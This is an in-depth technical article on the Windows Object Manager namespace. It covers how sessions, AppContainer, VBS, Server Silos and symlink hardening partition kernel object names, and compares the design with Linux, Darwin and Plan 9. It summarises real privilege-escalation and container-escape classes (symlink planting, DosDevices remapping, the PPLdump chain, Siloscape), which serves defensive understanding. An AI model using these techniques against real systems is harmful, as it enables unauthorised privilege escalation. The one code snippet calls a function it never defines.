Each UWP / MSIX process runs under a special token type, the AppContainer / LowBox token (referred to in kernel code as the lowbox token), created by NtCreateLowBoxToken. The token carries a TOKEN_APPCONTAINER_INFORMATION block that names the process's package SID (S-1-15-2-...) and an AppContainerNumber. Inside ObpLookupObjectName, before the path is walked, the kernel checks whether the caller's token is a lowbox token; if it is, lookups of \BaseNamedObjects\X, \RPC Control\X, and other rewriteable paths get redirected into \Sessions\<n>\AppContainerNamedObjects\<package-sid>\X. The user-mode caller never sees the rewrite. The package-SID directory is created by SYSTEM at process-creation time with a security descriptor that grants the package SID, and only the package SID, full access. Microsoft's wording is precise: AppContainer works by "sandboxing the application kernel objects, the AppContainer environment prevents the application from influencing, or being influenced by, other application processes" [@ms-appcontainer-isolation].

The AppInfo service, which is responsible for creating the new application, calls the undocumented API CreateAppContainerToken to do some internal housekeeping. Unfortunately this API creates object directories under the user's AppContainerNamedObjects object directory to support redirecting BaseNamedObjects and RPC endpoints by the OS. -- James Forshaw, Project Zero Issue 1550 [@p0-issue1550]

The residual class the AppContainer model has not closed is the one Forshaw's August 30, 2018 Project Zero post [@p0-issue1550] documents: because the SYSTEM-side AppInfo service has to write into the user's AppContainerNamedObjects subtree to set up redirection, an unprivileged caller can race the directory creation and end up planting a symbolic link the SYSTEM service then follows. The class -- "SYSTEM-privileged directory creation in user-controllable territory" -- is the worked example of why "the kernel rewrites the name" is an isolation property only when the SYSTEM helpers also use the rewrite.

4.3 Generation 4 -- VBS trustlets and the IUM secure-kernel namespace

Windows 10 RTM shipped on July 29, 2015 [@en-wikipedia-windows-10-version-history]. The Virtualization-Based Security (VBS) feature set introduced a parallel object-manager-shaped namespace that lives in Virtual Trust Level 1 (VTL1) and is inaccessible to the VTL0 NT kernel. Inside VTL1 the Secure Kernel (securekernel.exe) maintains its own root, its own type registry, and its own handle-table machinery. The VTL0 NT kernel can see trustlet processes -- the per-trustlet user-mode containers running in Isolated User Mode (IUM) -- but it cannot reach into their secure-side state.

Alex Ionescu's Black Hat USA 2015 talk Battle of SKM and IUM [@ionescu-bh2015-pdf] is the canonical inventory of the inbox Trustlet IDs at ship: Trustlet 0 is the Secure Kernel Process hosting Device Guard; Trustlet 1 is LSAISO.EXE for Credential Guard; Trustlet 2 is VMSP.EXE hosting the virtual TPM; Trustlet 3 is the vTPM provisioning trustlet. Each is identified by a Trustlet ID and reachable only through narrow Secure Kernel ALPC ports. The VBS Trustlets piece in this series unpacks the threat model.

4.4 Generation 5 -- Server Silos and the silo-scoped namespace

Windows Server 2016 shipped on October 12, 2016 [@en-wikipedia-windows-server-2016]. Microsoft needed a Linux-namespaces equivalent so that container runtimes -- Docker, containerd, and the Azure Kubernetes Service Windows-node pods that followed -- could host adjacent workloads on one kernel. The answer was Server Silo: a new OBJECT_TYPE registered alongside Job, Process, and Thread, that carries its own RootDirectory, DosDevicesDirectory, and ServerSiloGlobals. A process attached to a silo via PsAttachSiloToCurrentThread sees the silo's namespace as its root; the silo's \GLOBAL??\C: resolves to the silo's \Device\HarddiskVolume*, which is a different Device object from the host's. Job objects [@ms-job-objects] provide the cgroups-equivalent resource-accounting dimension; the Silo type builds on top.

The canonical reverse-engineering reference is Daniel Prizmant's July 2020 Unit 42 writeup, which spells out the architecture: "job objects are used in a similar way control groups (cgroups) are used in Linux, and... server silo objects were used as a replacement for namespaces support in the kernel" [@unit42-rev-eng-windows-containers].

The companion piece, Prizmant's June 2021 Siloscape [@unit42-siloscape], is the first known malware family that escapes the silo boundary: Prizmant named the malware "Siloscape (sounds like silo escape) because its primary goal is to escape the container, and in Windows this is implemented mainly by a server silo." James Forshaw's April 2021 Project Zero post Who Contains the Containers? [@p0-who-contains-containers] is the four-LPE companion disclosure. Microsoft's standing position is that Server Silo is not a security boundary; the Hyper-V Container, which adds a Hyper-V VM around the container's silo, is the security-boundary product.

4.5 Generation 6 -- the symbolic-link hardening continuum

The cross-cutting hardening generation closes the symlink subclass that recurred in Generations 1, 3, and 5. MS15-090 shipped on August 11, 2015 [@ms-ms15-090] and "corrects how Windows Object Manager handles object symbolic links created by a sandbox process, by preventing improper interaction with the registry by sandboxed applications, and by preventing improper interaction with the filesystem by sandboxed applications." The bulletin's canonical Object Manager CVE is CVE-2015-2428 [@nvd-cve-2015-2428], described verbatim as the case where the "Object Manager in Microsoft Windows... does not properly constrain impersonation levels during interaction with object symbolic links that originated in a sandboxed process." Subsequent Windows 10 builds added OBJ_DONT_REPARSE, an open-time flag that disables symbolic-link substitution for callers willing to opt in, and post-Siloscape patches in 2021 closed NtSetInformationSymbolicLink retargeting from inside a silo.

The scope document for this article originally attributed MS15-090 to CVE-2015-2528 and CVE-2015-1463. Independent NVD verification confirmed neither is correct: CVE-2015-2528 [@nvd-cve-2015-2528] is the MS15-102 Task Management EoP, and CVE-2015-1463 [@nvd-cve-2015-1463] is a ClamAV denial-of-service crash. The canonical MS15-090 OM-symlink CVE is CVE-2015-2428. Separately, CVE-2018-0824 [@nvd-cve-2018-0824] is a CWE-502 COM deserialization issue that joined the CISA KEV catalog on 2024-08-05, not a namespace-squatting CVE.

The residual subclass MS15-090 did not close was the per-session \?? DosDevices remapping path under impersonation. A low-privileged process whose token is impersonated by a SYSTEM service can plant a DefineDosDevice remapping that survives into the impersonation-time \?? view, and the SYSTEM-side activation-context resolver then opens the redirected path while running with elevated privileges. The canonical 2023 worked example is HackSys's Activation Context Hell -- DosDevices Remapping Attack under Impersonation [@hacksys-activation-context-hell], which targets the CSRSS / SxS activation-context resolver and shipped as CVE-2023-35359 [@nvd-cve-2023-35359], with the closely-related CVE-2022-22047 [@nvd-cve-2022-22047] covering the underlying CSRSS surface. The mitigation has to live inside the impersonation-aware \?? resolver in the SYSTEM caller, not at the symlink-creation gate.

Note: Every generation since Generation 1 has layered a new isolation primitive on top of the prior generation. None has rendered its predecessor obsolete. On 2026 Windows 11 25H2 all six generations coexist simultaneously: a UWP / MSIX app inside a Server Silo on a VBS-enabled host is session-partitioned, lowbox-rewritten, silo-scoped, VTL0-confined, integrity-gated, and watched by every loaded EDR's ObRegisterCallbacks filter. Each layer adds an independent enforcement point at ObpLookupObjectName time.

Six generations of isolation primitives is a tidy story, but it has glossed the most important question. What is the actual kernel data structure all six generations parameterize? What does the path-walk algorithm look like, what is the type registry, and where does the hash table live?

5. The four load-bearing primitives

If you remember one paragraph from this article, make it this one. The Object Manager namespace is built out of four kernel data structures: an OBJECT_HEADER that prefixes every named object in memory, an OBJECT_TYPE singleton that owns each type's method table, a ParseProcedure that delegates path resolution to the owning subsystem when needed, and an OBJECT_DIRECTORY hash table that maps names to objects. Every Windows security boundary you have read about is a parameter to one of these four pieces. The next eight subsections rebuild them one at a time.

flowchart TB OD["OBJECT_DIRECTORY
(37-bucket hash table)"] -->|"hash(name) % 37"| OH OH["OBJECT_HEADER
(PointerCount, HandleCount,
TypeIndex, InfoMask,
SecurityDescriptor, Body offset)"] -->|"TypeIndex XOR
ObHeaderCookie"| OT OT["OBJECT_TYPE singleton
(in nt!ObTypeIndexTable)"] -->|"TypeInfo"| TI TI["TYPE_INFO method table
(Dump, Open, Close, Delete,
ParseProcedure,
Security, QueryName, ...)"] OH -->|"Body[]"| BODY["Type-specific body
(EPROCESS, FILE_OBJECT,
SECTION_OBJECT, ...)"]

5.1 OBJECT_HEADER

Every named kernel object lives in non-paged pool. Immediately before each object's typed body sits an OBJECT_HEADER, a 0x30-byte (48-byte on x64) structure that the Object Manager owns. PointerCount and HandleCount are the two reference counts: the former tracks raw kernel-mode pointer references, the latter tracks user-mode handles. TypeIndex is a single byte that indexes into the nt!ObTypeIndexTable to find the object's type singleton; since Windows 10 1709, the byte is XOR-obfuscated against the per-boot nt!ObHeaderCookie so that simple type confusion is non-trivial.

InfoMask is a bitmap of optional sub-headers that may precede the main header: OBJECT_HEADER_NAME_INFO for named objects, OBJECT_HEADER_QUOTA_INFO for objects that charge a quota block, OBJECT_HEADER_HANDLE_INFO for objects that need per-process handle accounting. SecurityDescriptor is a tagged pointer to the object's DACL/SACL. Body[] is the offset at which the type-specific payload begins; for a process object that payload is an EPROCESS, for a file it is a FILE_OBJECT, and so on. The canonical reference is Chapter 8 of Windows Internals 7th Edition Part 1 [@microsoftpressstore-wininternals7-part1].

The per-object header (`nt!_OBJECT_HEADER`) that precedes every named kernel object in non-paged pool. Carries reference counts (`PointerCount`, `HandleCount`), a `TypeIndex` byte that points into `nt!ObTypeIndexTable` (XOR-obfuscated against `nt!ObHeaderCookie` since Windows 10 1709), an `InfoMask` describing optional sub-headers, a `SecurityDescriptor` pointer, and the offset to the typed `Body[]`.

The TypeIndex XOR-with-cookie is one of the smallest kernel hardening changes Microsoft has shipped: a single byte that prevents a poisoned OBJECT_HEADER from naming an arbitrary type after a heap-corruption primitive. The cookie is per-boot and lives in nt!ObHeaderCookie. The hardening is documented in Windows Internals 7th Edition Chapter 8 [@microsoftpressstore-wininternals7-part1] and in Geoff Chappell's reverse-engineering studies; Microsoft has not, as of 2026, published a Learn-hosted reference for the cookie itself.

5.2 OBJECT_TYPE

OBJECT_TYPE is the per-type singleton. There is exactly one OBJECT_TYPE per registered kernel type, and they live in \ObjectTypes. On Windows 11 25H2 the count sits at roughly seventy-five: Type, Directory, SymbolicLink, Token, Job, Process, Thread, Section, Key, File, Event, Mutant, Semaphore, Timer, WindowStation, Desktop, Device, Driver, IoCompletion, ALPC Port, EtwRegistration, Silo, and dozens more.

The per-type singleton (`nt!_OBJECT_TYPE`) that owns each kernel type's method table. The `TypeInfo` field carries eight procedure pointers and one offset field (WaitObjectFlagOffset): `DumpProcedure`, `OpenProcedure`, `CloseProcedure`, `DeleteProcedure`, `ParseProcedure` (the path-resolution callback), `SecurityProcedure`, `QueryNameProcedure`, `OkayToCloseProcedure`, and a `WaitObjectFlagOffset` offset for waitable types. Every `OBJECT_TYPE` instance is reachable through `\ObjectTypes`.

The TypeInfo field on each OBJECT_TYPE carries eight procedure pointers and one offset field (WaitObjectFlagOffset). The most consequential is the ParseProcedure. When ObpLookupObjectName is walking a path component-by-component, and a step lands on an object whose OBJECT_TYPE defines a ParseProcedure, the OM hands the residual path and the desired access to that procedure, which becomes the namespace authority below that point. That is how the registry's Key type, the I/O Manager's Device type, and the various WMI / Volume-Manager subsystems insert themselves into the namespace without the Object Manager having to know any of their internal structure [@en-wikipedia-object-manager].

5.3 The parse procedure

ObpLookupObjectName walks \Foo\Bar\Baz\...\Leaf left-to-right. At each component the walker does one of three things. The common case is a hash-table lookup in the current OBJECT_DIRECTORY's 37 buckets to find the child object by name. The second case is SymbolicLink substitution: if the child object's type is SymbolicLink, the walker substitutes the link target and re-enters the walk at the substitution. The third and most consequential case is parse-procedure handoff. If the child object's OBJECT_TYPE has a non-null ParseProcedure, the walker stops, hands the residual path string to that procedure, and lets it decide what to do.

The load-bearing method pointer on each `OBJECT_TYPE`'s `TypeInfo` field. When `ObpLookupObjectName` encounters an object whose type defines a `ParseProcedure`, the residual path is handed to that procedure for resolution. The two canonical parse procedures are `IopParseDevice` (for the `Device` type, which delegates further resolution to the device's owning driver via `IRP_MJ_CREATE`) and `CmpParseKey` (for the `Key` type, which walks the registry hive).

IopParseDevice is the parse procedure for the Device type. When the walker reaches \Device\HarddiskVolume1 and is asked to continue with \Users\me\file.txt, the I/O Manager builds an IRP_MJ_CREATE packet, dispatches it to the filesystem driver that owns the volume (NTFS, ReFS, ExFAT, FAT32, or one of several others), and lets that driver walk the rest of the path inside its own on-disk structures. The driver returns a FILE_OBJECT, which the Object Manager packages into a handle.

CmpParseKey is the parse procedure for the Key type. When the walker reaches \REGISTRY and is asked to continue with \MACHINE\Software\Microsoft\Windows, the Configuration Manager takes over and walks the in-memory hive structures.

The structural consequence is profound. Every named file in Windows is, technically, a leaf in the Object Manager namespace. NTFS, ReFS, ExFAT, and the registry are not separate naming systems; they are parse-procedure callbacks that hand FILE_OBJECT or KEY bodies back to the OM.

sequenceDiagram participant User as User Process participant OM as ObpLookupObjectName participant Dir as \GLOBAL?? OBJECT_DIRECTORY participant Dev as \Device\HarddiskVolume1 (Device type) participant Drv as NTFS Driver User->>OM: NtCreateFile("\??\C:\Users\me\file.txt") OM->>OM: rewrite \??\ -> \Sessions\\DosDevices\ OM->>Dir: lookup "C:" Dir-->>OM: SymbolicLink -> \Device\HarddiskVolume1 OM->>OM: substitute, re-enter walk OM->>Dev: lookup \Device\HarddiskVolume1 Dev-->>OM: type=Device, has ParseProcedure OM->>Drv: IopParseDevice with "\Users\me\file.txt" Drv->>Drv: IRP_MJ_CREATE: walk MFT, find file Drv-->>OM: FILE_OBJECT OM-->>User: HANDLE

5.4 The 37-bucket directory hash

OBJECT_DIRECTORY is a 37-bucket open-hash table. The hash function is RtlHashUnicodeString, applied to each component name. Thirty-seven was the prime Cutler picked in 1993; the constant has not changed in thirty-three years. The folk-knowledge corroboration is in Chapter 8 of Windows Internals 7th Edition Part 1 and in Forshaw's Windows Security Internals Chapter 8; Microsoft has never published a Learn-hosted spec for the constant [@nostarch-windows-security-internals].

The 37-bucket open-hash table (`nt!_OBJECT_DIRECTORY`) that lives at every interior node of the Object Manager tree. Keys are `UNICODE_STRING` component names; the hash is `RtlHashUnicodeString` modulo 37. Each bucket is a linked list of `OBJECT_DIRECTORY_ENTRY` records that point at the next-level `OBJECT_HEADER`. Reading the tree requires `Directory`-`TRAVERSE` rights on the parent.

The 37-bucket constant from 1993 has not changed in thirty-three years. On a 2026 Windows 11 25H2 box with several hundred MSIX packages each owning an \AppContainerNamedObjects\<package-sid>\ subtree, average bucket chains run several entries deep. Collision pressure on the constant is the open problem returned to in Section 9.

5.5 The lowbox redirect inside ObpLookupObjectName

This is the subsection that earns the second aha moment of the article.

When the calling thread's primary token is a lowbox token, ObpLookupObjectName consults the token's AppContainerNumber and package SID before it begins the walk. Lookups that would otherwise resolve into \BaseNamedObjects or \RPC Control are rewritten into \Sessions\<n>\AppContainerNamedObjects\<package-sid>\. The rewrite happens transparently to the user-mode Win32 caller, which still thinks it asked for \BaseNamedObjects\X.

A specialised token type produced by `NtCreateLowBoxToken` that carries a `TOKEN_APPCONTAINER_INFORMATION` block (with a package SID `S-1-15-2-...` and an `AppContainerNumber`). When a process runs under a lowbox token, `ObpLookupObjectName` rewrites every named-object lookup into the per-package directory `\Sessions\\AppContainerNamedObjects\\` before path walking begins. The user-facing brand for the lowbox-token mechanism. Every UWP / MSIX / Windows Store app runs in an AppContainer. The Windows API surface is unchanged for the app; the Object Manager rewrites every named-object name into a per-package subtree, gating cross-package coordination at the namespace layer. The Microsoft Learn page describes this as "Sandboxing the application kernel objects, the AppContainer environment prevents the application from influencing, or being influenced by, other application processes" [@ms-appcontainer-isolation].

The aha moment is structural. AppContainer is not a containment mechanism the way you might first picture it. It is a name-translation mechanism. The lowbox token tells the kernel which directory to rewrite every name into; the sandbox is, at root, a hash-table indirection inside the kernel's path-walk function. The Edge renderer process cannot name \BaseNamedObjects\GlobalEvent_Foo because the kernel rewrites that name into \Sessions\1\AppContainerNamedObjects\S-1-15-2-...\Global\GlobalEvent_Foo before lookup even begins. The "sandbox" is a hash-table redirect.

5.6 The Silo OBJECT_TYPE and silo-scoped views

Silo is itself a registered OBJECT_TYPE. Each silo instance carries a silo-scoped RootDirectory, DosDevicesDirectory, and ServerSiloGlobals (with the silo's own registry-hive root and per-silo BaseNamedObjects root). PsAttachSiloToCurrentThread switches the thread's namespace view; once attached, every Object Manager lookup runs through the silo's roots instead of the host's. Job objects, which provide the cgroups-equivalent resource-accounting substrate, are the underlying primitive the Silo type extends [@ms-job-objects]. The structural design history is in Prizmant's reverse-engineering writeup [@unit42-rev-eng-windows-containers].

A specialised `Job`-derived kernel object (`OBJECT_TYPE` Silo) introduced in Windows Server 2016 that carries silo-scoped `RootDirectory`, `DosDevicesDirectory`, and `ServerSiloGlobals` fields. A thread attached to a silo via `PsAttachSiloToCurrentThread` sees the silo's namespace as its root; the silo's `\GLOBAL??\C:` resolves to the silo's `\Device\HarddiskVolume*`, which is a different `Device` object from the host's. Server Silo is the substrate underneath Windows Server Containers and WSL1.

5.7 The Secure Kernel's parallel namespace

Inside VTL1, the Secure Kernel maintains a separate Object Manager tree with its own root, its own type registry, and its own handle-table machinery. The VTL0 NT kernel cannot enumerate this tree; the only cross-VTL traffic is the narrow ALPC interface each trustlet publishes. Ionescu's BH2015 inventory (Trustlet IDs 0 through 3 at ship, growing in subsequent releases) is the canonical primary [@ionescu-bh2015-pdf].

A user-mode process running in Isolated User Mode under the VTL1 Secure Kernel. Each trustlet is signed with both the Windows System Component Verification EKU (1.3.6.1.4.1.311.10.3.6) and the IUM EKU (1.3.6.1.4.1.311.10.3.37), runs at Signature Level 12, and is reachable from VTL0 only through narrow ALPC ports. LSAISO.EXE (Credential Guard), VMSP.EXE (virtual TPM host), and the vTPM provisioning trustlet are the inbox examples.

5.8 The handle table

The namespace is the name side; the per-process HANDLE_TABLE is the access side. Once a handle exists in a process, no name lookup happens on subsequent use; the kernel dereferences the handle through a three-level radix tree indexed by the 32-bit handle value, lands on an OBJECT_HEADER, and operates on the body. This is why ObRegisterCallbacks fires on handle creation and duplication rather than on every use, and why an inherited handle bypasses the callback entirely. The structural consequence -- that the Object Manager is the gate at name resolution but not at every operation -- comes back in Section 8.

Now you know the data structure. But what does the actual tree look like in 2026? What does \ contain on a Windows 11 25H2 box, and which security boundary lives in each top-level directory?

6. The 2026 top-level directory atlas

Open WinObj.exe as administrator on a Windows 11 25H2 machine and the root directory at \ carries roughly twenty entries. The table below catalogues the load-bearing ones. Each row names the directory, the security boundary it physically realises, and a representative exploit class that has been thrown at it. The driver kit's Object Directories reference [@ms-object-directories] is Microsoft's canonical inventory.

Top-level directory	What it contains	Which boundary it enforces	Exploit class
`\ObjectTypes`	The ~75 `OBJECT_TYPE` singletons (`Process`, `Thread`, `Section`, `Key`, `File`, `Token`, `Job`, `Silo`, etc.)	Meta -- the type registry the rest of the namespace depends on	Type confusion (mitigated by `ObHeaderCookie` since Windows 10 1709)
`\Device`	Driver-published device objects (`\Device\HarddiskVolume*`, `\Device\Tcp`, `\Device\Tpm`, `\Device\NamedPipe`, `\Device\Mailslot`, `\Device\Vmbus`, `\Device\KsecDD`, `\Device\CNG`)	The I/O Manager's surface; each driver's parse procedure consumes residual paths	Bait-and-switch on `\Device` (a low-privilege user redirects a privileged opener through a planted symbolic link)
`\Driver`, `\FileSystem`	Loaded `DRIVER_OBJECT` registries	KMCS / HVCI driver-load gate	Vulnerable signed-driver class (BYOVD)
`\GLOBAL??`	The machine-wide DosDevices view -- where `C:` and `D:` are symlinks to `\Device\HarddiskVolume*`	Cross-session drive-letter map	Symlink redirect across session boundary
`\??`	The per-session DosDevices alias, falling through to `\GLOBAL??`	Session-scoped drive-letter map	The HackSys / CVE-2023-35359 worked example: a low-privilege caller plants a `DefineDosDevice` remapping that survives into the impersonation-time `\??` view, and the SYSTEM-side activation-context resolver opens the redirected path
`\BaseNamedObjects`	The global / `Global\`-prefixed-only BNO	Cross-session named-object visibility	Pre-Vista squatting class (closed by Generation 2)
`\Sessions\<n>\`	Per-session subtrees (BNO, DosDevices, WindowStations, AppContainerNamedObjects)	Session boundary (Generation 2)	Shatter attacks (closed by Generation 2)
`\Sessions\<n>\AppContainerNamedObjects\<package-sid>\`	Per-package UWP / MSIX lowbox namespace	AppContainer / lowbox boundary (Generation 3)	Forshaw P0 Issue 1550 arbitrary-directory creation race
`\RPC Control`	Every named LRPC ALPC port (every COM call lands here)	RPC endpoint visibility	Endpoint squatting against named LRPC ports
`\KnownDlls`, `\KnownDlls32`	Pre-mapped `Section` objects for system DLLs	Loader supply-chain	`DefineDosDevice` + `\??` symlink-plant trick (closed in NTDLL July 2022, build 19044.1826)
`\KernelObjects`	System-defined events (`LowMemoryCondition`, `HighMemoryCondition`, etc.)	Kernel-internal visibility	None public
`\Callback`	System-defined `Callback` objects (`ExCallback` slots drivers register against)	Kernel API extension surface	Driver-callback abuse
`\Security`	LSA-private endpoints	LSA / authentication isolation	Credential-theft (the LSAISO trustlet via Generation 4)
`\Windows`	BNO-redirect surface and `SharedSection`	Win32 subsystem shared state	Cross-session Win32 state leakage
`\Silos\<id>`	Per-container silo subroots on Server SKUs	Server Silo boundary (Generation 5)	Siloscape -- symlink retarget out of the silo
`\BNOLINKS`	The boundary-keyed private-namespace index	`CreatePrivateNamespace` cross-session/cross-package IPC	None public; the directory itself is RE-derived

flowchart LR subgraph EdgeRenderer["Microsoft Edge Renderer (lowbox token)"] K32["CreateMutexW(L'Global\\Foo')"] end K32 -->|"NtCreateMutant, OBJECT_ATTRIBUTES"| OB subgraph KernelOb["ObpLookupObjectName"] OB["Read caller token
token.AppContainerNumber
token.PackageSid"] OB -->|"rewrite name"| RW["Rewrite '\\BaseNamedObjects\\Global\\Foo'
to
'\\Sessions\\1\\AppContainerNamedObjects\\
S-1-15-2-...\\Global\\Foo'"] RW --> WALK["walk the rewritten path"] end WALK --> Dir["\\Sessions\\1\\AppContainerNamedObjects\\
S-1-15-2-...\\Global\\
(per-package OBJECT_DIRECTORY,
DACL allows only package SID)"]

The \BNOLINKS directory deserves a separate paragraph because it is not on Microsoft Learn. NtCreatePrivateNamespace is the kernel-side syscall behind the Win32 CreatePrivateNamespace API [@ms-createprivatenamespacew]; the caller passes a boundary descriptor built by CreateBoundaryDescriptor [@ms-createboundarydescriptorw] plus one or more SIDs added via AddSIDToBoundaryDescriptor [@ms-addsidtoboundarydescriptor]. The kernel materialises one \BNOLINKS entry per (alias_prefix, boundary_descriptor_hash) tuple; two callers that pass the same lpAliasPrefix but different boundary descriptors land on different directories. The native signature is documented in the PHNT-derived NtDoc mirror [@ntdoc-ntcreateprivatenamespace], and the OBJECT_BOUNDARY_DESCRIPTOR structure layout is at ntdoc.m417z.com/object_boundary_descriptor [@ntdoc-object-boundary-descriptor]. The Win32 Object Namespaces overview [@ms-object-namespaces] is Microsoft's only published user-mode reference; the \BNOLINKS directory name itself is reverse-engineering-derived.The \BNOLINKS directory is documented only through reverse engineering of ntoskrnl.exe -- via Forshaw's NtObjectManager and System Informer's PHNT headers -- not on Microsoft Learn. The user-mode API surface (CreatePrivateNamespace, CreateBoundaryDescriptor, AddSIDToBoundaryDescriptor) is fully documented. The provenance gap is worth flagging when you cite the directory by name.The \KnownDlls LPE class was, for a decade, the canonical example of how a DACL plus loader-side validation could lock down a supply-chain anchor. Forshaw's August 2018 P0 post first sketched a DefineDosDevice + \?? symlink-plant chain that could land a forged Section object into \KnownDlls; Clement Labro (itm4n) implemented the attack as the PPLdump tool and wrote companion posts on both itm4n.github.io [@itm4n-lsass-runasppl] and the SCRT team blog [@blog-scrt-bypassing-lsa-protection-in-userland]. The class was closed in NTDLL by Windows 10 21H2 build 19044.1826; itm4n confirms the patch in The End of PPLdump [@itm4n-the-end-of-ppldump]: "A patch in NTDLL now prevents PPLs from loading Known DLLs."

{` const MAX_DIRECTORY_BUCKETS = 37;

function rtlHashUnicodeString(name) { let h = 0; for (const ch of name.toUpperCase()) { h = (h * 31 + ch.charCodeAt(0)) >>> 0; } return h % MAX_DIRECTORY_BUCKETS; }

function makeDir() { return { buckets: Array(MAX_DIRECTORY_BUCKETS).fill(null).map(() => []) }; }

function addChild(dir, name, child) { dir.buckets[rtlHashUnicodeString(name)].push({ name, child }); }

const root = makeDir(); const device = makeDir(); device.parseProcedure = true; device.type = 'Device'; const sessions = makeDir(); addChild(root, 'Device', device); addChild(root, 'Sessions', sessions); addChild(root, 'BaseNamedObjects', makeDir());

lookupObjectName('\\Device\\HarddiskVolume1\\Users\\me\\file.txt', root); `}

The walk is the algorithm. The 37 is the bucket count Cutler picked in 1993. The parse-procedure handoff is where the I/O Manager and the Configuration Manager and dozens of other subsystems insert themselves into the tree. Now turn the question around: Windows bet on one tree. What did the kernels that did not bet on one tree do, and why?

7. How other kernels name kernel objects

Three kernels, three different bets. Linux took the namespace and split it into per-resource-class clones -- one for mounts, one for PIDs, one for IPC, one for the network stack, one for users, one for hostnames, one for cgroups, one for time -- and never built a unified tree. macOS / Darwin gave each task its own Mach port-right namespace and let launchd broker named-service lookups. Plan 9 from Bell Labs was the academic ancestor of "every named OS resource is a filesystem path," and the design Cutler imported into NT.

7.1 Linux: per-resource namespaces

Linux ships eight namespace types, each governed by a CLONE_NEW* flag passed to clone(), unshare(), or setns(): mount, PID, network, IPC, user, UTS, cgroup, and time. The namespaces(7) man page is precise: "A namespace wraps a global system resource in an abstraction that makes it appear to the processes within the namespace that they have their own isolated instance of the global resource" [@man7-namespaces]. Docker, containerd, runc, Kubernetes pods, LXC, and systemd-nspawn all compose these eight flags into a Linux container.

The strength of the Linux design is per-class composability. A process can be in a fresh mount namespace, a fresh PID namespace, and the host's network namespace, all at once. The weakness is the absence of a unified type registry: Linux has no equivalent of \ObjectTypes, no equivalent of the OBJECT_HEADER reference counting that the kernel applies uniformly to every named object. Each resource class has its own lookup function, its own permission model, and its own ownership story. A bug in any one of them is bounded to that one resource class but is also not shared mitigation across the others.

7.2 macOS / Darwin: Mach ports and the bootstrap server

Darwin's kernel-object naming is capability-style. Apple's archive documentation describes the model directly: "each task consists of a virtual address space, a port right namespace, and one or more threads" [@apple-mach-kernel]. Tasks send messages by holding a port right -- a per-task index into a kernel-managed table of Mach ports. There is no single hierarchical namespace; ports are sent over Mach messages, and launchd operates as the bootstrap-server name broker for services that need a stable rendezvous. A separate I/O Registry tree carries device objects.

The strength of the Mach design is that capabilities cannot be forged; you cannot synthesise a port right out of a string the way you can synthesise a path string under Windows. The weakness is the split namespace: device objects live in the I/O Registry, services live behind launchd, and the kernel itself has no equivalent of \BaseNamedObjects as a one-stop shop.

7.3 Plan 9 from Bell Labs

Plan 9 is the design lineage Cutler imported. In Plan 9, every named operating-system resource -- including processes, network connections, devices, and the window system -- surfaces as a path served over 9P. The single hierarchical namespace was the central claim. Plan 9 never reached commercial scale, but its design idea reached production in three places: NT (1993, via Cutler), Linux's /proc, /sys, and FUSE (the 1990s onward), and the various capability-OS research projects (KeyKOS, EROS, seL4) that took the lessons in a different direction.

Primitive	Granularity	Enforcement point	Structural / opt-in	Bypass by privilege	Inheritance gap
Per-Session (NT)	Logon session	`ObpLookupObjectName` + DACL	Structural	`SeDebugPrivilege` short-circuit	Inherited handles cross sessions
AppContainer Lowbox (NT)	Package SID	`ObpLookupObjectName` rewrite	Structural	TCB privileges only	Brokered handles enter
Server Silo (NT)	Container	Process->Silo indirection	Structural	KMCS-signed driver	Host handles cross silos
VBS / IUM Trustlet (NT)	Trust level (VTL)	Hypervisor	Structural	Hypervisor compromise	Cross-VTL ALPC only
Mandatory Integrity Control (NT)	IL band	`SeAccessCheckByType`	Opt-in (per-object SACL)	`SeRelabelPrivilege`	Inherited handles bypass
`ObRegisterCallbacks` (NT)	Per-type, per-driver	Object Manager pre-op callback	Mediation, not partition	KMCS-signed driver	Inheritance bypasses callback
Private Namespace (NT)	Boundary SID-list	`NtCreatePrivateNamespace`	Structural	All SIDs in caller's token	Boundary-keyed
Linux Namespace	Per-resource clone	`setns`/`unshare`/`clone`	Structural	`CAP_SYS_ADMIN`	Fork inherits namespace set
Mach Port Right	Per-task	Capability check on send	Structural (capabilities)	`host_priv` / kernel	Inherited rights on fork

The Object Manager namespace is not a filesystem. There is no disk persistence, no journal, no FAT or MFT, no inode allocator, no per-file DACL in the filesystem sense. Nothing under `\` survives a reboot. Files-on-disk, registry-keys-in-a-hive, and named pipes are leaves in the OM tree, but the actual filesystem implementation lives in NTFS / ReFS / ExFAT drivers reached through the `Device` type's parse procedure.

What the OM namespace shares with filesystems is exactly three things: the path-walk algorithm (left-to-right, component-by-component, with one hash-table lookup per component), the per-directory hash table (analogous to the directory-entry hash filesystems use), and the per-object security descriptor (which the SRM enforces at the same point a filesystem would enforce its DACL).

When you read or write the phrase "Object Manager namespace," the metaphor that is doing real work is "in-memory directory tree the kernel uses to find named objects," not "filesystem in the disk-format sense."

The Windows 2000-era `CreateRestrictedToken` primitive was the wrong layer in 2000 as a standalone sandboxing mechanism -- it could not partition the namespace; it only filtered the caller's SID set against per-object DACLs. Chromium revived it in 2008 as one of four cooperating layers, and that pattern is the canonical 2026 production sandbox shape. The Chromium design document captures the constraints: "The Windows sandbox is a user-mode only sandbox. There are no special kernel mode drivers... The sandbox is provided as a static library that must be linked to both the broker and the target executables" (Chromium Sandbox Design [@chromium-sandbox-md], FAQ [@chromium-sandbox-faq]).

The four layers compose pairwise-orthogonally. The token gates which DACLs the renderer can satisfy at SeAccessCheck time; the job object gates which kernel API surface the renderer can call (UI exceptions, process creation, etc.); the integrity level gates which writes the renderer can perform across MIC label boundaries; the AppContainer lowbox-rewrites every named-object lookup into the per-package directory inside ObpLookupObjectName. A handle that survives all four checks is the only object the renderer can usefully touch. The load-bearing header is sandbox_policy.h, which declares TargetConfig::SetTokenLevel(TokenLevel initial, TokenLevel lockdown), SetJobLevel, SetIntegrityLevel, SetDelayedIntegrityLevel, and SetAppContainerSid, with one verbatim mutual-exclusion note: "Using an initial token is not compatible with AppContainer" [@chromium-sandbox-policy-h].

This is the 2026 production sandbox shape every Chromium-based browser inherits (Edge, Chrome, Brave, Vivaldi, Opera), as do Electron-based apps like Visual Studio Code's renderer processes.

